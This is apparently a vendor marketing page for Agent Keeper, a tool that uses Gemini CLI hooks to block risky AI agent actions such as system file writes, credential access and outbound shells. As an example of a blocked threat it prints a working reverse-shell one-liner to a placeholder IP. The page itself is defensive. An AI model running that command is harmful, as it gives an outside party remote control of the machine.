Unsafe file writes
Prevent Gemini CLI from writing secrets, launch agents, deploy hooks, or system-level files.
write_file /etc/agentkeeper-e2e.conf
Gemini CLI security
Agent Keeper turns Gemini CLI hooks into enforceable controls for shell commands, file reads and writes, prompt submissions, web access, and MCP tool calls.
Runtime action stream
Gemini CLI
Shell commands
BeforeTool / run_shell_command
File writes
BeforeTool / write_file
File edits
BeforeTool / replace
File reads
BeforeTool / read_file
Why teams buy it
Use Gemini's synchronous hook points to validate tool arguments before execution.
Return deterministic blocks for dangerous writes, credential access, prompt injection, and risky commands.
Give platform teams one dashboard for Gemini CLI beside Codex, Claude Code, Cursor, Copilot, Windsurf, and Cowork.
Carry host, machine, session, tool, verdict, and policy context into the Activity and Security views.
Coverage
Threat coverage
Prevent Gemini CLI from writing secrets, launch agents, deploy hooks, or system-level files.
write_file /etc/agentkeeper-e2e.conf
Block commands that open outbound shells or turn development laptops into pivot points.
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
Apply server and tool allowlists before Gemini invokes external MCP integrations.
mcp__drive__read_file customer-export.csv
Install
The installer writes the hook config, routes decisions through Runtime Shield, and labels events as gemini so security teams can filter by agent.
bash <(curl -fsSL "$AGENTKEEPER_API_URL/install-hooks.sh") --ide gemini
Uses the same org policies as Claude Code, Cursor, Copilot, Windsurf, and Cowork.
Fails open on local outages while preserving API-backed audit history.
Feeds the Activity, Security, and Workstations views immediately after the first event.